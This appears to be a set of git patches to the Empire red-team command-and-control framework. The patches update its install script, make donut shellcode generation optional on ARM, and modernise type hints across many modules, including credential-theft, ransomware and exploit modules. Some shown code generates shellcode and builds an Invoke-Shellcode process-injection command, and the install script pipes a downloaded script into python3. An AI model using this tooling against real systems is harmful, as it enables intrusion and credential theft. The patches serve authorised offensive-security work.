PATH=/root/.nimble/bin:$PATH" >> ~/.bashrc - export PATH=/root/.nimble/bin:$PATH - SOURCE_MESSAGE=true - nimble install -y nimble@0.14.2 - nimble install -y winim zippy nimcrypto - sudo apt install -y mingw-w64 -else - echo -e "\x1b[1;34m[*] Skipping Nim\x1b[0m" -fi + export PYENV_ROOT="$HOME/.pyenv" + command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH" + eval "$(pyenv init -)" + + echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc + echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc + echo 'eval "$(pyenv init -)"' >> ~/.bashrc -if [ "$OS_NAME" == "PARROT" ]; then - # https://github.com/python-poetry/poetry/issues/1917#issuecomment-1235998997 - export PYTHON_KEYRING_BACKEND=keyring.backends.null.Keyring + echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc + echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc + echo 'eval "$(pyenv init -)"' >> ~/.zshrc + + sudo ln -s $HOME/.pyenv/bin/pyenv /usr/bin/pyenv + + sudo DEBIAN_FRONTEND=noninteractive TZ=Etc/UTC \ + apt-get -y install build-essential gdb lcov pkg-config \ + libbz2-dev libffi-dev libgdbm-dev libgdbm-compat-dev liblzma-dev \ + libncurses5-dev libreadline6-dev libsqlite3-dev libssl-dev \ + lzma lzma-dev tk-dev uuid-dev zlib1g-dev + + pyenv install 3.12.0 fi -echo -e "\x1b[1;34m[*] Checking Python version\x1b[0m" -python_version=($(python3 -c 'import sys; print("{} {}".format(sys.version_info.major, sys.version_info.minor))')) -if [ "${python_version[0]}" -eq 3 ] && [ "${python_version[1]}" -lt 8 ]; then - if ! command_exists python3.8; then - if [ "$OS_NAME" == "UBUNTU" ]; then - echo -e "\x1b[1;34m[*] Python3 version less than 3.8, installing 3.8\x1b[0m" - sudo apt-get install -y python3.8 python3.8-dev python3-pip - elif [ "$OS_NAME" == "DEBIAN" ]; then - echo -e "\x1b[1;34m[*] Python3 version less than 3.8, installing 3.8\x1b[0m" - if [ "$ASSUME_YES" == "1" ] ;then - answer="Y" - else - echo -n -e "\x1b[1;33m[>] Python 3.8 must be built from source. This might take a bit, do you want to continue (y/N)? \x1b[0m" - read -r answer - fi - if [ "$answer" != "${answer#[Yy]}" ] ;then - sudo apt-get install -y build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libsqlite3-dev libreadline-dev libffi-dev curl libbz2-dev - curl -O https://www.python.org/ftp/python/3.8.16/Python-3.8.16.tar.xz - tar -xf Python-3.8.16.tar.xz - cd Python-3.8.16 - ./configure --enable-optimizations - make -j"$(nproc)" - sudo make altinstall - cd .. - rm -rf Python-3.8.16 - rm Python-3.8.16.tar.xz - else - echo -e "Abort" - exit - fi - fi - fi - # TODO: We should really use the official poetry installer, but since right now we - # recommend running this script as sudo, it installs poetry in a way that you can't - # run it without sudo su. We should probably update the script to not be run as sudo, - # and only use sudo when needed within the script itself. - python3.8 -m pip install poetry -else - if [ "${python_version[0]}" -eq 3 ] && [ "${python_version[1]}" -ge 11 ]; then - python3 -m pip install poetry --break-system-packages - else - python3 -m pip install poetry - fi + +if ! command_exists poetry; then + curl -sSL https://install.python-poetry.org | python3 - + export PATH="$HOME/.local/bin:$PATH" + echo "export PATH=$HOME/.local/bin:$PATH" >> ~/.bashrc + echo "export PATH=$HOME/.local/bin:$PATH" >> ~/.zshrc + sudo ln -s $HOME/.local/bin/poetry /usr/bin fi echo -e "\x1b[1;34m[*] Installing Packages\x1b[0m" poetry config virtualenvs.in-project true +poetry config virtualenvs.prefer-active-python true poetry install echo -e '\x1b[1;32m[+] Install Complete!\x1b[0m' @@ -299,7 +326,3 @@ echo -e '' echo -e '\x1b[1;32m[+] Run the following commands in separate terminals to start Empire\x1b[0m' echo -e '\x1b[1;34m[*] ./ps-empire server\x1b[0m' echo -e '\x1b[1;34m[*] ./ps-empire client\x1b[0m' - -if $SOURCE_MESSAGE; then - echo -e '\x1b[1;34m[*] source ~/.bashrc to enable nim \x1b[0m' -fi From b8151b4b7b70dc04b2139654053b84908f32597d Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sat, 4 Nov 2023 17:47:06 -0700 Subject: [PATCH 07/29] =?UTF-8?q?make=20donut=20install=20conditional=20so?= =?UTF-8?q?=20we=20can=20support=20arm=20machines.=20add=20wa=E2=80=A6=20(?= =?UTF-8?q?#721)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * make donut install conditional so we can support arm machines. add warnings when donut is invoked but not installed * post-merge fix --- CHANGELOG.md | 2 ++ empire/server/common/stagers.py | 26 +++++++++++++++---- .../csharp/ProcessInjection.Covenant.py | 16 ++++++++++-- .../modules/powershell/management/shinject.py | 5 +++- empire/server/stagers/windows/shellcode.py | 22 +++++++++++++--- poetry.lock | 2 +- pyproject.toml | 2 +- 7 files changed, 62 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7fd685956..a8d001b10 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -34,6 +34,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added automatic tasking for sysinfo for stageless agents (@Cx01N) - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) - Remove unneeded condition statement from all listeners (@Vinnybod) +- Make the installation of donut conditional on architecture since it doesn't work on ARM (@Vinnybod) + - When donut is invoked but not installed, give a useful warning (@Vinnybod) ## [5.7.3] - 2023-10-17 diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 50240afbf..6d5cb2bb2 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -21,8 +21,13 @@ import subprocess import zipfile from itertools import cycle +from typing import Optional, Tuple + +try: + import donut +except ModuleNotFoundError: + donut = None -import donut import macholib.MachO from empire.server.core.db import models @@ -179,7 +184,7 @@ def generate_powershell_exe( def generate_powershell_shellcode( self, posh_code, arch="both", dot_net_version="net40" - ): + ) -> Tuple[Optional[str], Optional[str]]: """ Generate powershell shellcode using donut python module """ @@ -191,8 +196,14 @@ def generate_powershell_shellcode( arch_type = 3 directory = self.generate_powershell_exe(posh_code, dot_net_version) + + if not donut: + err = "module donut-shellcode not installed. It is only supported on x86." + log.warning(err, exc_info=True) + return None, err + shellcode = donut.create(file=directory, arch=arch_type) - return shellcode + return shellcode, None def generate_exe_oneliner( self, language, obfuscate, obfuscation_command, encode, listener_name @@ -270,7 +281,7 @@ def generate_python_exe( def generate_python_shellcode( self, posh_code, arch="both", dot_net_version="net40" - ): + ) -> Tuple[Optional[str], Optional[str]]: """ Generate ironpython shellcode using donut python module """ @@ -281,9 +292,14 @@ def generate_python_shellcode( elif arch == "both": arch_type = 3 + if not donut: + err = "module donut-shellcode not installed. It is only supported on x86." + log.warning(err, exc_info=True) + return None, err + directory = self.generate_python_exe(posh_code, dot_net_version) shellcode = donut.create(file=directory, arch=arch_type) - return shellcode + return shellcode, None def generate_macho(self, launcherCode): """ diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py index 6482d3111..0f01a5dd3 100644 --- a/empire/server/modules/csharp/ProcessInjection.Covenant.py +++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py @@ -1,6 +1,10 @@ from typing import Dict -import donut +try: + import donut +except ModuleNotFoundError: + donut = None + import yaml from empire.server.common import helpers @@ -48,9 +52,11 @@ def generate( return handle_error_message("[!] Invalid listener: " + listener_name) if language.lower() == "powershell": - shellcode = main_menu.stagers.generate_powershell_shellcode( + shellcode, err = main_menu.stagers.generate_powershell_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) + if err: + return handle_error_message(err) elif language.lower() == "csharp": if arch == "x86": @@ -60,6 +66,12 @@ def generate( elif arch == "both": arch_type = 3 directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" + + if not donut: + return handle_error_message( + "module donut-shellcode not installed. It is only supported on x86." + ) + shellcode = donut.create(file=directory, arch=arch_type) elif language.lower() == "ironpython": diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index ac608b85f..d7391ef7e 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -50,9 +50,12 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: launcher_code = launcher.split(" ")[-1] - sc = main_menu.stagers.generate_powershell_shellcode( + sc, err = main_menu.stagers.generate_powershell_shellcode( launcher_code, arch ) + if err: + return handle_error_message(err) + encoded_sc = helpers.encode_base64(sc) script_end = '\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String("{}")) -Force'.format( diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py index d94edeb0d..80a9c4ff8 100644 --- a/empire/server/stagers/windows/shellcode.py +++ b/empire/server/stagers/windows/shellcode.py @@ -1,6 +1,11 @@ import logging -import donut +try: + import donut +except ModuleNotFoundError: + donut = None + +from empire.server.utils.module_util import handle_error_message log = logging.getLogger(__name__) @@ -142,9 +147,12 @@ def generate(self): return "[!] Error in launcher command generation." if language.lower() == "powershell": - shellcode = self.mainMenu.stagers.generate_powershell_shellcode( + shellcode, err = self.mainMenu.stagers.generate_powershell_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) + if err: + return handle_error_message(err) + return shellcode elif language.lower() == "csharp": @@ -155,14 +163,22 @@ def generate(self): elif arch == "both": arch_type = 3 + if not donut: + return handle_error_message( + "module donut-shellcode not installed. It is only supported on x86." + ) + directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" shellcode = donut.create(file=directory, arch=arch_type) return shellcode elif language.lower() == "python": - shellcode = self.mainMenu.stagers.generate_python_shellcode( + shellcode, err = self.mainMenu.stagers.generate_python_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) + if err: + return handle_error_message(err) + return shellcode else: diff --git a/poetry.lock b/poetry.lock index 41e6da469..48a560de1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -3208,4 +3208,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "b597e531825a427d976d0c37bb7e1b3d0cdf57472cff83f7bff45cb6adb50c6e" +content-hash = "ef22acd364fda0e317c57695f40c980379f5c531f664a5a2bcbaf81630506dc2" diff --git a/pyproject.toml b/pyproject.toml index d2f61c1c6..bc6169559 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ pyvnc = {git = "https://github.com/BC-SECURITY/pyVNC.git"} python-socketio = {extras = ["client"], version = "^5.10.0"} Flask = "^2.3.3" pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git", rev = "da5be0e"} -donut-shellcode = "^1.0.2" +donut-shellcode = { version = "^1.0.2", markers = "platform_machine == 'x86_64' or platform_machine == 'amd64'" } python-obfuscator = "^0.0.2" pyinstaller = "^5.13.2" md2pdf = {git = "https://github.com/bc-security/md2pdf", rev = "48d5a46"} From 7aad4aa2072dc8f295209a3e14c5f6f56f2edc45 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sat, 4 Nov 2023 18:49:28 -0700 Subject: [PATCH 08/29] Ruff - Python 3.10 minimum (#722) * bump black and ruff * fix UP006 UP035 * more 3.9 fixes * more 3.9 fixes * run safe fixes for ruff with 3.10 compat * apply ruff 3.10 lints * add a type alias for taggable and fix client reset test * missed a file --- .github/workflows/lint-and-test.yml | 4 +- .pre-commit-config.yaml | 4 +- CHANGELOG.md | 19 +- empire/client/client.py | 8 +- empire/client/src/EmpireCliConfig.py | 3 +- empire/client/src/EmpireCliState.py | 17 +- empire/client/src/MenuState.py | 4 +- empire/client/src/Shortcut.py | 19 +- empire/client/src/ShortcutHandler.py | 13 +- empire/client/src/menus/InteractMenu.py | 3 +- empire/client/src/menus/ProxyMenu.py | 3 +- empire/client/src/menus/UseMenu.py | 3 +- empire/client/src/menus/UsePluginMenu.py | 3 +- empire/client/src/utils/autocomplete_util.py | 5 +- empire/client/src/utils/table_util.py | 7 +- empire/scripts/sync_starkiller.py | 3 +- empire/server/api/api_router.py | 3 +- empire/server/api/jwt_auth.py | 5 +- empire/server/api/v2/agent/agent_api.py | 19 +- empire/server/api/v2/agent/agent_dto.py | 57 +- empire/server/api/v2/agent/agent_file_api.py | 6 +- empire/server/api/v2/agent/agent_file_dto.py | 10 +- empire/server/api/v2/agent/agent_task_api.py | 23 +- empire/server/api/v2/agent/agent_task_dto.py | 27 +- empire/server/api/v2/bypass/bypass_dto.py | 5 +- .../api/v2/credential/credential_api.py | 6 +- .../api/v2/credential/credential_dto.py | 23 +- empire/server/api/v2/download/download_api.py | 7 +- empire/server/api/v2/download/download_dto.py | 5 +- empire/server/api/v2/host/host_dto.py | 4 +- empire/server/api/v2/host/process_dto.py | 10 +- empire/server/api/v2/listener/listener_dto.py | 25 +- empire/server/api/v2/module/module_dto.py | 20 +- .../api/v2/obfuscation/obfuscation_dto.py | 5 +- empire/server/api/v2/plugin/plugin_dto.py | 16 +- .../server/api/v2/plugin/plugin_task_api.py | 23 +- .../server/api/v2/plugin/plugin_task_dto.py | 17 +- empire/server/api/v2/profile/profile_dto.py | 5 +- empire/server/api/v2/shared_dto.py | 10 +- empire/server/api/v2/stager/stager_dto.py | 25 +- empire/server/api/v2/tag/tag_api.py | 11 +- empire/server/api/v2/tag/tag_dto.py | 7 +- empire/server/api/v2/user/user_dto.py | 5 +- empire/server/common/agents.py | 3 +- .../server/common/converter/load_covenant.py | 12 +- .../common/converter/module_converter.py | 7 +- empire/server/common/empire.py | 3 +- empire/server/common/helpers.py | 2 +- empire/server/common/stagers.py | 22 +- empire/server/core/agent_file_service.py | 6 +- empire/server/core/agent_service.py | 13 +- empire/server/core/agent_task_service.py | 21 +- empire/server/core/config.py | 9 +- empire/server/core/db/models.py | 3 +- empire/server/core/download_service.py | 13 +- empire/server/core/hooks.py | 6 +- empire/server/core/listener_service.py | 12 +- .../server/core/listener_template_service.py | 3 +- empire/server/core/module_models.py | 30 +- empire/server/core/module_service.py | 31 +- empire/server/core/plugin_service.py | 17 +- empire/server/core/stager_service.py | 6 +- empire/server/core/stager_template_service.py | 3 +- empire/server/core/tag_service.py | 39 +- empire/server/listeners/dbx.py | 5 +- empire/server/listeners/http.py | 5 +- empire/server/listeners/http_com.py | 5 +- empire/server/listeners/http_foreign.py | 5 +- empire/server/listeners/http_hop.py | 5 +- empire/server/listeners/http_malleable.py | 5 +- empire/server/listeners/onedrive.py | 5 +- empire/server/listeners/port_forward_pivot.py | 5 +- empire/server/listeners/smb.py | 5 +- empire/server/listeners/template.py | 6 +- .../modules/csharp/Assembly.Covenant.py | 6 +- .../csharp/AssemblyReflect.Covenant.py | 6 +- .../modules/csharp/Inject_BOF.Covenant.py | 6 +- .../csharp/ProcessInjection.Covenant.py | 6 +- .../modules/csharp/Shellcode.Covenant.py | 6 +- .../powershell/code_execution/invoke_ntsd.py | 4 +- .../invoke_reflectivepeinjection.py | 3 +- .../code_execution/invoke_shellcode.py | 3 +- .../code_execution/invoke_shellcodemsil.py | 4 +- .../powershell/collection/SharpChromium.py | 3 +- .../modules/powershell/collection/WireTap.py | 4 +- .../collection/get_sql_column_sample_data.py | 4 +- .../modules/powershell/collection/minidump.py | 4 +- .../powershell/collection/packet_capture.py | 4 +- .../powershell/collection/screenshot.py | 4 +- .../credentials/credential_injection.py | 4 +- .../credentials/mimikatz/dcsync_hashdump.py | 4 +- .../credentials/mimikatz/golden_ticket.py | 3 +- .../credentials/mimikatz/lsadump.py | 4 +- .../credentials/mimikatz/mimitokens.py | 4 +- .../powershell/credentials/mimikatz/pth.py | 3 +- .../credentials/mimikatz/silver_ticket.py | 4 +- .../credentials/mimikatz/trust_keys.py | 4 +- .../modules/powershell/credentials/tokens.py | 4 +- .../powershell/exfiltration/PSRansom.py | 4 +- .../exploitation/exploit_eternalblue.py | 4 +- .../lateral_movement/inveigh_relay.py | 4 +- .../lateral_movement/invoke_dcom.py | 4 +- .../lateral_movement/invoke_executemsbuild.py | 4 +- .../lateral_movement/invoke_psexec.py | 4 +- .../lateral_movement/invoke_psremoting.py | 4 +- .../lateral_movement/invoke_smbexec.py | 4 +- .../lateral_movement/invoke_sqloscmd.py | 4 +- .../lateral_movement/invoke_sshcommand.py | 4 +- .../powershell/lateral_movement/invoke_wmi.py | 4 +- .../lateral_movement/invoke_wmi_debugger.py | 4 +- .../jenkins_script_console.py | 4 +- .../new_gpo_immediate_task.py | 4 +- .../powershell/management/invoke_bypass.py | 4 +- .../powershell/management/invoke_script.py | 4 +- .../modules/powershell/management/logoff.py | 4 +- .../management/mailraider/disable_security.py | 4 +- .../management/mailraider/get_emailitems.py | 4 +- .../modules/powershell/management/psinject.py | 4 +- .../management/reflective_inject.py | 3 +- .../modules/powershell/management/runas.py | 4 +- .../modules/powershell/management/shinject.py | 4 +- .../modules/powershell/management/spawn.py | 4 +- .../modules/powershell/management/spawnas.py | 4 +- .../powershell/management/switch_listener.py | 6 +- .../powershell/management/user_to_sid.py | 4 +- .../persistence/elevated/registry.py | 3 +- .../persistence/elevated/schtasks.py | 3 +- .../powershell/persistence/elevated/wmi.py | 3 +- .../persistence/elevated/wmi_updater.py | 3 +- .../persistence/misc/add_sid_history.py | 4 +- .../powershell/persistence/misc/debugger.py | 4 +- .../persistence/powerbreach/deaduser.py | 3 +- .../persistence/powerbreach/eventlog.py | 3 +- .../persistence/powerbreach/resolver.py | 3 +- .../persistence/userland/backdoor_lnk.py | 3 +- .../persistence/userland/registry.py | 3 +- .../persistence/userland/schtasks.py | 3 +- .../server/modules/powershell/privesc/ask.py | 4 +- .../modules/powershell/privesc/bypassuac.py | 4 +- .../powershell/privesc/bypassuac_env.py | 4 +- .../powershell/privesc/bypassuac_eventvwr.py | 4 +- .../powershell/privesc/bypassuac_fodhelper.py | 4 +- .../privesc/bypassuac_sdctlbypass.py | 4 +- .../privesc/bypassuac_tokenmanipulation.py | 3 +- .../powershell/privesc/bypassuac_wscript.py | 4 +- .../modules/powershell/privesc/ms16-032.py | 4 +- .../modules/powershell/privesc/ms16-135.py | 4 +- .../privesc/powerup/service_exe_stager.py | 4 +- .../privesc/powerup/service_stager.py | 4 +- .../privesc/powerup/write_dllhijacker.py | 4 +- .../powershell/recon/fetch_brute_local.py | 4 +- .../modules/powershell/recon/find_fruit.py | 4 +- .../recon/get_sql_server_login_default_pw.py | 4 +- .../host/computerdetails.py | 4 +- .../network/get_sql_server_info.py | 4 +- .../network/powerview/get_gpo_computer.py | 3 +- .../network/powerview/get_subnet_ranges.py | 3 +- empire/server/modules/powershell_template.py | 6 +- .../python/collection/osx/imessage_dump.py | 4 +- .../collection/osx/native_screenshot_mss.py | 5 +- .../modules/python/collection/osx/prompt.py | 6 +- .../python/collection/osx/search_email.py | 6 +- .../modules/python/collection/osx/sniffer.py | 4 +- .../lateral_movement/multi/ssh_launcher.py | 4 +- .../modules/python/management/multi/spawn.py | 4 +- .../management/osx/shellcodeinject64.py | 3 +- .../python/persistence/multi/desktopfile.py | 4 +- .../python/persistence/osx/CreateHijacker.py | 19 +- .../python/persistence/osx/LaunchAgent.py | 5 +- .../osx/LaunchAgentUserLandPersistence.py | 17 +- .../python/persistence/osx/loginhook.py | 6 +- .../modules/python/persistence/osx/mail.py | 28 +- .../python/privesc/multi/CVE-2021-3560.py | 3 +- .../python/privesc/multi/CVE-2021-4034.py | 3 +- .../modules/python/privesc/multi/bashdoor.py | 4 +- .../python/privesc/multi/sudo_spawn.py | 4 +- .../python/privesc/osx/dyld_print_to_file.py | 17 +- .../modules/python/privesc/osx/piggyback.py | 4 +- .../host/osx/situational_awareness.py | 4 +- empire/server/modules/python_template.py | 6 +- empire/server/stagers/multi/macro.py | 14 +- empire/server/utils/module_util.py | 6 +- empire/server/utils/option_util.py | 17 +- .../test/data/modules/test_custom_module.py | 4 +- empire/test/test_listener_api.py | 2 +- empire/test/test_stager_api.py | 2 +- empire/test/test_tags_api.py | 1 + poetry.lock | 687 +++++++++--------- pyproject.toml | 8 +- 189 files changed, 863 insertions(+), 1178 deletions(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index bc26a2f09..fb5abcadd 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -12,10 +12,10 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - - uses: psf/black@23.10.0 + - uses: psf/black@23.10.1 - name: Run ruff run: | - pip install ruff==0.0.283 + pip install ruff==0.1.4 ruff . matrix-prep-config: runs-on: ubuntu-latest diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 6a3d65a43..5938c9c94 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -9,13 +9,13 @@ repos: - id: end-of-file-fixer - repo: https://github.com/astral-sh/ruff-pre-commit - rev: v0.0.283 + rev: v0.1.4 hooks: - id: ruff args: [--fix, --exit-non-zero-on-fix] - repo: https://github.com/psf/black-pre-commit-mirror - rev: 23.10.0 + rev: 23.10.1 hooks: - id: black language_version: python3.10 diff --git a/CHANGELOG.md b/CHANGELOG.md index a8d001b10..79522ee4b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] - Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files. -- Update install script (@Vinnybod) +- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) +- Added automatic tasking for sysinfo for stageless agents (@Cx01N) +- Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) +- Make the installation of donut conditional on architecture since it doesn't work on ARM (@Vinnybod) + - When donut is invoked but not installed, give a useful warning (@Vinnybod) +- Drop support for Python 3.8 and 3.9 +- Update install script (@Vinnybod) - Use pyenv to install Python - Use the official Poetry installer - Don't run the entire script as root @@ -27,15 +33,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Use a patched version of pysecretsocks that packages asyncore for Python 3.12 support - Use docopt-ng for Python 3.12 support - Add packaging as a runtime dependency -- Drop support for Python 3.8 and 3.9 - Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod) - Added option to start MySQL service on boot to install script (@Cx01N) -- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) -- Added automatic tasking for sysinfo for stageless agents (@Cx01N) -- Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) - Remove unneeded condition statement from all listeners (@Vinnybod) -- Make the installation of donut conditional on architecture since it doesn't work on ARM (@Vinnybod) - - When donut is invoked but not installed, give a useful warning (@Vinnybod) +- Updated the ruff minimum Python version to 3.10 and applied fixes to get codebase compliant (@Vinnybod) ## [5.7.3] - 2023-10-17 @@ -632,7 +633,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...HEAD + +[5.7.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.2...v5.7.3 [5.7.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.1...v5.7.2 diff --git a/empire/client/client.py b/empire/client/client.py index b99e29aa6..e07ee318e 100644 --- a/empire/client/client.py +++ b/empire/client/client.py @@ -5,7 +5,7 @@ import threading import time from pathlib import Path -from typing import Dict, List, Optional, get_type_hints +from typing import get_type_hints import urllib3 from docopt import docopt @@ -121,7 +121,7 @@ class CliExitException(BaseException): class EmpireCli: def __init__(self) -> None: self.completer = MyCustomCompleter(self) - self.menus: Dict[Menu] = { + self.menus: dict[Menu] = { "MainMenu": main_menu, "ListenerMenu": listener_menu, "UseCredentialMenu": use_credential_menu, @@ -148,7 +148,7 @@ def strip(options): return {re.sub("[^A-Za-z0-9 _]+", "", k): v for k, v in options.items()} @staticmethod - def get_autoconnect_server() -> Optional[str]: + def get_autoconnect_server() -> str | None: """ Looks for a server in the yaml marked for autoconnect. If one is not found, returns None @@ -268,7 +268,7 @@ def main(self): except CliExitException: break - def parse_command_line(self, text: str, cmd_line: List[str], resource_file=False): + def parse_command_line(self, text: str, cmd_line: list[str], resource_file=False): if len(cmd_line) == 0: return if not state.connected and not cmd_line[0] == "connect": diff --git a/empire/client/src/EmpireCliConfig.py b/empire/client/src/EmpireCliConfig.py index fd11d2f1f..10efeaa28 100644 --- a/empire/client/src/EmpireCliConfig.py +++ b/empire/client/src/EmpireCliConfig.py @@ -1,6 +1,5 @@ import logging import sys -from typing import Dict import yaml @@ -9,7 +8,7 @@ class EmpireCliConfig: def __init__(self): - self.yaml: Dict = {} + self.yaml: dict = {} if "--config" in sys.argv: location = sys.argv[sys.argv.index("--config") + 1] log.info(f"Loading config from {location}") diff --git a/empire/client/src/EmpireCliState.py b/empire/client/src/EmpireCliState.py index 9ee556a85..e68db785b 100644 --- a/empire/client/src/EmpireCliState.py +++ b/empire/client/src/EmpireCliState.py @@ -1,6 +1,5 @@ import logging import os -from typing import Dict, Optional import requests import socketio @@ -29,7 +28,7 @@ def __init__(self): self.host = "" self.port = "" self.token = "" - self.sio: Optional[socketio.Client] = None + self.sio: socketio.Client | None = None self.connected = False self.menus = [] @@ -345,7 +344,7 @@ def kill_listener(self, listener_id: str): self.get_listeners() return response - def edit_listener(self, listener_id: str, options: Dict): + def edit_listener(self, listener_id: str, options: dict): response = requests.put( url=f"{self.host}:{self.port}/api/v2/listeners/{listener_id}", json=options, @@ -379,7 +378,7 @@ def get_listener_options(self, listener_type: str): ) return response.json() - def create_listener(self, options: Dict): + def create_listener(self, options: dict): response = requests.post( url=f"{self.host}:{self.port}/api/v2/listeners", json=options, @@ -400,7 +399,7 @@ def get_stagers(self): self.stagers = {x["id"]: x for x in response.json()["records"]} return self.stagers - def create_stager(self, options: Dict): + def create_stager(self, options: dict): response = requests.post( url=f"{self.host}:{self.port}/api/v2/stagers", json=options, @@ -450,7 +449,7 @@ def get_modules(self): self.modules = {x["id"]: x for x in response.json()["records"] if x["enabled"]} return self.modules - def execute_module(self, session_id: str, options: Dict): + def execute_module(self, session_id: str, options: dict): response = requests.post( url=f"{self.host}:{self.port}/api/v2/agents/{session_id}/tasks/module", json=options, @@ -459,7 +458,7 @@ def execute_module(self, session_id: str, options: Dict): ) return response.json() - def update_agent(self, session_id: str, options: Dict): + def update_agent(self, session_id: str, options: dict): response = requests.put( url=f"{self.host}:{self.port}/api/v2/agents/{session_id}", json=options, @@ -630,7 +629,7 @@ def get_credential(self, cred_id): ) return response.json() - def edit_credential(self, cred_id, cred_options: Dict): + def edit_credential(self, cred_id, cred_options: dict): response = requests.put( url=f"{self.host}:{self.port}/api/v2/credentials/{cred_id}", verify=False, @@ -677,7 +676,7 @@ def get_plugin(self, plugin_name): ) return response.json() - def execute_plugin(self, uid: str, options: Dict): + def execute_plugin(self, uid: str, options: dict): response = requests.post( url=f"{self.host}:{self.port}/api/v2/plugins/{uid}/execute", json=options, diff --git a/empire/client/src/MenuState.py b/empire/client/src/MenuState.py index 2a05f3542..9043f41b7 100644 --- a/empire/client/src/MenuState.py +++ b/empire/client/src/MenuState.py @@ -1,5 +1,3 @@ -from typing import Optional - from empire.client.src.menus.Menu import Menu @@ -9,7 +7,7 @@ class MenuState: """ def __init__(self): - self.current_menu: Optional[Menu] = None + self.current_menu: Menu | None = None self.menu_history = [] @property diff --git a/empire/client/src/Shortcut.py b/empire/client/src/Shortcut.py index 86035fc56..15b6e28bd 100644 --- a/empire/client/src/Shortcut.py +++ b/empire/client/src/Shortcut.py @@ -1,5 +1,4 @@ import logging -from typing import List, Optional from empire.client.src.utils import print_util @@ -8,7 +7,7 @@ # https://yzhong-cs.medium.com/serialize-and-deserialize-complex-json-in-python-205ecc636caa class ShortcutParam: - def __init__(self, name: str, dynamic: bool = False, value: Optional[str] = ""): + def __init__(self, name: str, dynamic: bool = False, value: str | None = ""): self.name = name self.dynamic = dynamic self.value = value @@ -22,9 +21,9 @@ class Shortcut: def __init__( self, name: str, - module: Optional[str] = None, - shell: Optional[str] = None, - params: List[ShortcutParam] = None, + module: str | None = None, + shell: str | None = None, + params: list[ShortcutParam] = None, ): if not module and not shell: log.error("Shortcut must have either a module or shell command") @@ -35,19 +34,19 @@ def __init__( self.module = module self.params = [] if not params else params - def get_dynamic_params(self) -> List[ShortcutParam]: + def get_dynamic_params(self) -> list[ShortcutParam]: return list(filter(lambda x: x.dynamic, self.params)) - def get_dynamic_param_names(self) -> List[str]: + def get_dynamic_param_names(self) -> list[str]: return list(map(lambda x: x.name, self.get_dynamic_params())) - def get_static_params(self) -> List[ShortcutParam]: + def get_static_params(self) -> list[ShortcutParam]: return list(filter(lambda x: not x.dynamic, self.params)) - def get_static_param_names(self) -> List[str]: + def get_static_param_names(self) -> list[str]: return list(map(lambda x: x.name, self.get_static_params())) - def get_param(self, name: str) -> Optional[ShortcutParam]: + def get_param(self, name: str) -> ShortcutParam | None: param = None for p in self.params: if p.name == name: diff --git a/empire/client/src/ShortcutHandler.py b/empire/client/src/ShortcutHandler.py 